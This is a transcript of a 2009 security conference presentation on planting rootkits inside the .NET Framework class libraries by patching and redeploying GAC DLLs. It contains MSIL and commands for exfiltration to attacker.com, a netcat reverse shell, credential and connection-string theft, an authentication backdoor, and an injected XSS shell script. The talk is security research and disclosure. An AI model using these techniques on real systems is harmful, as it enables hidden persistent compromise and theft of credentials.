1 / 47

.NET Framework Rootkits: Backdoors inside your Framework March 19, 2009

.NET Framework Rootkits: Backdoors inside your Framework March 19, 2009. Erez Metula, Application Security Department Manager, 2BSecure ErezMetula@2bsecure.co.il. DEMO – WriteLine goes crazy. Trivial question: What should be the output of the following code?

thu
Download Presentation

.NET Framework Rootkits: Backdoors inside your Framework March 19, 2009

An Image/Link below is provided (as is) to download presentation Download Policy: Content on the Website is provided to you AS IS for your information and personal use and may not be sold / licensed / shared on other websites without getting consent from its author. Content is provided to you AS IS for your information and personal use only. Download presentation by click this link. While downloading, if for some reason you are not able to download a presentation, the publisher may have deleted the file from their server. During download, if you can't get a presentation, the file might be deleted by the publisher.

E N D

Presentation Transcript


  1. .NET Framework Rootkits: Backdoors inside your Framework March 19, 2009 Erez Metula, Application Security Department Manager, 2BSecure ErezMetula@2bsecure.co.il

  2. DEMO – WriteLine goes crazy Trivial question: What should be the output of the following code? static void Main(string[] args) { Console.WriteLine("Hello (crazy) World!"); } DEMO – let’s run this code

  3. What happened here ??!! How come there were 2 WriteLine’s instead of just one?? In other words - a single call to WriteLine caused double printing?? Answer The Framework internal implementation was changed “WriteLine” was modified to print every string twice That was a simple PoC of runtime language tampering

  4. .NET application (Winform/Web) static void Main(string[] args) { Console.WriteLine("Hello (crazy) World!"); } .Net Class Library public void WriteLine ( string value ) { //Framework’s implementation of WriteLine() //low level code for printing } public void WriteLine ( string value ) { //Framework’s implementation of WriteLine() //low level code for printing //low level code for printing (duplicate) } mscorlib.dll User interface Hello (crazy) World Hello (crazy) World Windows APIs and services

  5. Agenda Motivation for infecting an application VM platform and managed code environment Application VM level malicious code development Case study: .NET Framework on Windows machine A brief overview of the .NET execution model Modifying the Framework CLR classes Deploying malware code Introducing .NET-Sploit – general purpose .NET modification tool DEMOS!

  6. Why infecting an application VM platform such as .NET Framework ? Post exploit scenario – Got root (somehow). What’s next? Usually hide malware as kernel modules, Drivers, bios, etc VM Runtime platforms are an ideal place to hide malicious code Fine grained, low level access to important methods Large attack surface – control all VM platform applications Relatively high success rate - first loaded assembly can trigger our code Object Oriented malware (!) An overlooked place to store malware code Backdoors are hidden from code review audits The runtime is not aware about the code modification Hidden dynamic weaving AOP, from the inside!

  7. Things you can do with it API Hooking (pre / post) Method code modification Resource hiding (Files,processes,registry,services,ports…) Covert Channels Custom GINA’s Class / method / member manipulation Polimorphism method overloading Return value modification Metadata streams tampering RVA (Relative Virtual Address) item modification

  8. Brief overview of the .NET execution model .NET code (“Assembly”) is compiled to MSIL (CIL) The CLR (Common Language Runtime) runs .NET code using the Framework class libraries stored in the GAC Native machine code is generated on the fly using JIT (just in time) compiler We’ll reverse engineer the Framework’s class libraries and patch the code Let’s go over the steps

  9. Framework patching Framework patching can generally be described by those steps Locate the DLL in the GAC Decompile it Modify the MSIL code Recompile it Force the Framework to use our patched DLL Idea inspired from: Ken Thompson’s work on C compiler backdoors “Reflections on Trusting Trust”http://cm.bell-labs.com/who/ken/trust.html Dinis Cruz’s research on “the dangers of full trust applications” http://www.owasp.org/index.php/.Net_Full_Trust

  10. Locating the DLL in the GAC Locating the DLL using a test application – it triggers WriteLine(s) In our example, we can identify mscorlib.dll It contains the WriteLine function (among with other important functions). It’s of the most important DLL’s. In our example – it’s atc:\WINDOWS\assembly\GAC_32\mscorlib\2.0.0.0__b77a5c561934e089

  11. Analyze the DLL Analyzing the CIL code helps deciding where to inject code, what the code should do and how to write it Reflector (by Lutz Roeder) is great tool for this kind of job In our example, WriteLine is under System namespace, Console class Method signature Stack size Method MSIL code

  12. Decompile the DLL using ildasm So we know where it is - let’s copy it to some temp directory. We want to generate MSIL code out of it. Ildasm.exe disassembler will do this job Execute the next command: ILDASM /OUT=mscorlib.dll.il /NOBAR /LINENUM /SOURCE mscorlib.dll So now we have the decompiled code at mscorlib.dll.il

  13. Modifying the MSIL code Tampering with the Framework class libraries Add extra code Add hooking (pre / post) Remove specific lines of code Modify values Etc… Example – modify WriteLine(s) code to print every string twice The extra code can be copied from the original MSIL line numbers should be recalculated Stack size might grows

  14. WriteLine in MSIL (original VS. modified) Original code of WriteLine: Modified code: Print #1 (same as before) Print #2 (duplicate) Code line number recalculating is usually needed!!!

  15. Recompile the DLL using ilasm Next step is to generate a new “genuine” DLL out of the modified MSIL code we have. Ilasm.exe assembler will do this job Execute the next command: ILASM /DEBUG /DLL /QUIET /OUTPUT=mscorlib.dll mscorlib.dll.il So now we have a new modified mscorlib.dll Might need to disable NGEN (more on this on next slides)

  16. Bypass the GAC Strong Name model It is not possible to deploy it with the GAC tool (gacutil.exe) Our modified DLL has a different signature than expected Public key token - shortened id generated by the last 8 bytes of the SHA-1 hash of the RSA public key. Example: mscorlib.dll public key token: b77a5c561934e089 Need to get around the GAC SN mechanism Replacing the signing keys is always an option. Instead, another approach was taken. It was discovered that the loader look for the DLL file from a GAC directory named after the public key token. Example: c:\WINDOWS\assembly\GAC_32\mscorlib\2.0.0.0__b77a5c561934e089\ Public key token as a file mapper - Signatures are not checked Naive loading - Just deploy it inside the correct directory..

  17. DEMO Deploying the modified mscorib.dll and running the demo app

  18. Reverting back from NGEN Native DLL We can’t just use it, NGEN is in our way! Compiles .NET assemblies into native code Used to speeds things up and to avoid the JIT The Framework is using the cached NGEN compiled DLL We need to instruct the framework to disable and/or refresh with the NGEN’ed DLL Example: ngen uninstall mscorlib Can be enabled again, using our modified DLL

  19. Function injection In order to better develop Framework malware, it’s better to have a separation between a new “ability” injected into the framework (generic code) Exploit payload code that uses it (custom code) Since a new “ability” will be used in a couple of places, why not inject it as a new function (method), for general usage? We’re extending the .NET language Those methods can provide “malware API” to the payload code which uses it Examples (PoC): Void SendToUrl(string url, string data) Void ReverseShell(string ip, int32 port)

  20. SendToUrl(string url, string data) Usage: transfer data from the victim machine to the attacker Parameters url – the attacker’s collector page data – the data to send Data transfer is implemented as an innocent http web request For example, to the attacker’s collector page

  21. SendToUrl implementation SendToUrl MSIL Code: .method public hidebysig static void SendToUrl(string url, string data) cil managed { .maxstack 8 IL_0000: nop IL_0001: ldarg.0 IL_0002: ldarg.1 IL_0003: call string System.String::Concat(string,string) IL_0008: call class [System]System.Net.WebRequest [System]System.Net.WebRequest::Create(string) IL_000d: callvirt instance class [System]System.Net.WebResponse [System]System.Net.WebRequest::GetResponse() IL_0012: pop IL_0013: ret }

  22. SendToUrl usage So now all we have to do is call this function Since it was already deployed as a function, calling it is very simple Example: A sensitive string (“SomeSensitiveStolenData”) the attacker wants to send to his collector WebForm1.aspx page MSIL Payload for using SendToUrl: .locals init (string V_0) IL_0000: ldstr "SomeSensitiveStolenData" IL_0005: stloc.0 IL_0006: ldstr "http://www.attacker.com/CookieStealer/WebForm1.asp"+ "x\?s=" IL_000b: ldloc.0 IL_000c: call void System.Object::SendToUrl(string,string)

  23. ReverseShell(string ip, int32 port) Usage: provide a reverse shell to the attacker machine Parameters ip – the attacker’s address port – the attacker’s listening port

  24. ReverseShell implementation ReverseShell contains netcat.exe + cmd.exe as array of bytes Deploys the content to disk, and execute netcat’s reverse shell Based on “dropandpop” aspx backdoor Just for the PoC. “Real world” implementations will execute it from memory and not from disk. SendToUrl MSIL Code (omitted): .method public hidebysig static void ReverseShell(string ip, int32 port) cil managed { .maxstack 3 .locals init ([0] string cmdfilename, [1] string filename, [2] uint8[] netcat, [3] class System.IO.BinaryWriter binWriter1,[4] uint8[] cmd, [5] class System.IO.BinaryWriter binWriter2,[6] string arguments, [7] class [System]System.Diagnostics.Process proc, [8] object[] CS$0$0000) IL_0000: nop IL_0001: ldstr "cmd.exe" IL_0006: stloc.0 IL_0007: ldstr "netcat.exe" IL_000c: stloc.1 … … IL_0101: pop IL_0102: ret } // end of method ::ReverseShell

  25. ReverseShell usage Let’s inject payload code to invoke ReverseShell MSIL Payload for using ReverseShell : IL_0000: ldstr "192.168.50.129“ // attacker ip address IL_0005: ldc.i4 0x4d2 // port 1234 IL_0006: call void System.Object::ReverseShell(string,int32)

  26. Hooking into important methods Important classes & methods (brief list): Class System.Security.Cryptography Class IsolatedStorage Class System.Reflection.MemberInfo Class System.Security.SecureString Class TextReader System.Web.Security.FormsAuthentication::Authenticate() System.Windows.Forms.Application::Run() System.Data.SqlClient.SqlConnection::Open() System.Net.DNS::GetHostAddresses() System.Security.CodeAccessPermission::Demand() Let’s see some examples.. We’ll use: Custom code The new general purpose functions

  27. Forms authentications credential stealing System.Web.dll contains a boolean method called Authenticate (string name, string password) used by forms Let’s append MSIL code to the end of this method, that will send the username and password to the attacker SendToUrl(“attacker.com”, name+”:”+password) Original code (end of authenticate) Modified code(post injection) Injected

  28. DEMO Forms authentications credential stealinghttp://192.168.50.131/formsauthentication/login.aspx

  29. Backdooring forms authentications Another possible attack on the Authenticate function is to backdoor its logic Anytime the supplied password will contain some special string (“Magic Value”) authentication will return true Let’s add code to the beginning of Authenticate The modified code (seen as C# using Reflector):

  30. Injecting a reverse shell In our next example we’ll inject the ReverseShell function and execute it Let’s make a reverse shell every time a winform executable is run Run() was selected for pre / post demonstrations So we’ll inject code that execute our reverse shell into System.Windows.Forms.dll, at function Run(Form mainForm) Modified code (pre injection) Original code Injected

  31. DEMO Reverse shell - hooking into Winform application’s Run() method

  32. Stealing the connection string for every DB connection opening System.Data.dll contains the logic for connecting to DB servers The class SqlConnection is responsible for opening the connection to the DB We can modify the behavior of Open() to send the connection string to the attacker It’s in the class member ConnectionString So Open() is changed to public override void Open() { SendToUrl(“www.attacker.com”, this.ConnectionString); //original code starts here … … }

  33. Injecting persistent HTML/JS content Malware does not necessary have to be injected as code! The Framework contains many pieces of HTML / Javascript code that is used by aspx pages as code templates Example - System.Web.dll Those pieces of code are usually included inside the Framework DLL’s as resources It is possible to inject persistent code (JS, for example) into the resources Example – injecting a persistent call to XSS shell <script src="http://www.attacker.com/xssshell.asp?v=123"></script>

  34. Encryption key manipulation Tampering System.Security.Cryptography code can lead to interesting crypto attack scenarios Some scenarios: Key fixation and manipulation The victim believes his data is encrypted using his key Key stealing Sending the key using SendToUrl() Algorithm downgrade select bad crypto algorithms and modes example – encryption key fixation (C# code):

  35. SecureString stealing SecureString is a special string protected with encryption by the .NET Framework Part of System.Security at mscorlib.dll SecureString probably contains valuable data ! It would be interesting to inject code that will send this data to the attacker Maybe inject it into the Dispose() method of SecureString C# code: IntPtr ptr = System.Runtime.InteropServices.Marshal.SecureStringToBSTR(secureString); SendToUrl(“www.attacker.com”, System.Runtime.InteropServices.Marshal.PtrToStringBSTR(ptr));

  36. Disabling security checks Messing around with CAS (Code Access Security) can be achieved by modifying the behavior of important classes from System.Security, System.Security.Permissions, etc.. Again, from mscorlib.dll.. It is possible to disable security checks by changing the logic of CodeAccessPermission::Demand() CodeAccessPermission::Deny() CodeAccessPermission::Assert() FileIOPermission, RegistryPermission, etc. Applications will not behave according to CAS policies the admin believes the app is restricted while it’s not

  37. A general purpose language modification tool, customized for .NET Framework DLL replacement Easy to extend – adding new modules is easy Generic code modules - *.function and *.payload code Item (XML) – describe usage of code modules on target DLL Concept inspired from “metasploit” Can generate deployers (used on the target machine) .NET-Sploit comes with many predefined modules ! Automating the process with .NET-Sploit

  38. Item example (send_POC_string_to_remote_attacker.item) <CodeChangeItem name="Send data to URL"> <Description>call SendToUrl from inside WriteLine()</Description> <AssemblyName> mscorlib.dll </AssemblyName> <AssemblyLocation>c:\WINDOWS\assembly\GAC_32\mscorlib\2.0.0.0__b77a5c561934e089 </AssemblyLocation> <AssemblyFunc> <FileName> SendToUrl_generic.func </FileName> <Location><![CDATA[} // end of class System.Object]]></Location> <BeforeLocation>TRUE</BeforeLocation> </AssemblyFunc> <AssemblyCode> <FileName> SendStringPOC.payload </FileName> <Location><![CDATA[ instance void WriteLine() cil managed ]]></Location> <StackSize>8</StackSize> <InjectionMode> Append </InjectionMode> </AssemblyCode> </CodeChangeItem> Target DLL Location New Function New Code

  39. DEMO – Using .NET-Sploit to load “Fixate DNS response to specific ip.item” Injecting code into Dns.GetHostAddresses() that will always return the resolved address of www.attacker.com Affects ALL .NET’s network methods Payload: fixate_specific_ip_to_function_argument_0.payload Item: Fixate DNS response to specific ip.item

  40. Call for action Call for action End users - know about this kind of stuff! Be aware that someone who hacked your system can deploy rootkits inside your Framework IT - use external file tampering detectors, such as tripwire Security auditors – malicious code might be hidden inside the framework, undetectable from your code review procedures. Verify the framework authenticity Forensics – the Framework is a new place to look for malicious code left behind, on the suspected machine Operating Systems – No bullet proof solution, but still, raise the bar a little bit. It is too low Anti-virus vendors – monitor against tampering of the Framework

  41. It is not a vulnerability MSRC (Microsoft Security Response Center) was informed about this kind of stuff (Sept. 2008) Case “MSRC 8566” was assigned Response - “Requires Admin privileges. No vulnerability is involved” No argue about that an attacker that already has root privileges is able to disable any security mechanism regardless of how it works. The things is, It’s not a vulnerability but a new type of rootkit like vector, hidden inside the runtime class library

  42. And what about JAVA ?? Concept is relevant to all .NET Framework and Windows OS version Other VM runtime environments - Java, Adobe Air, Dalvik (thanks to Marc Schoenefeld ), etc.. Other OS - Linux, mac… JAVA is affected as well The JRE Runtime is stored as jar files The classes can be easily decompiled / recompiled Package the modified class in the jar file, and off you go Example: class com.sun.security.auth.module.Crypt

  43. Questions ?

  44. References More information can be obtained at http://www.applicationsecurity.co.il/.NET-Framework-Rootkits.aspx (or just google “.net framework rootkits”) You can find here: The Whitepaper: .NET Framework Rootkits –Backdoors inside your Framework .NET-Sploit Tool .NET-Sploit Source Code

  45. Summary Modification of the framework behavior can lead to some very interesting attacks An attacker can backdoor your framework, leaving malicious code behind It is another place for malware besides the Kernel, BIOS, Drivers, etc.. It is a place for hiding backdoors It is hidden deep inside the framework DLL’s Undetectable from code reviews It does not depend on specific vulnerability It affects other platforms

  46. … And although this concept can be used maliciously… It can be used positively to improve your runtime by creating custom “MOD” for topics such as performance, bug fixing, hardening, and more 

  47. Thank you ! ErezMetula@gmail.com

More Related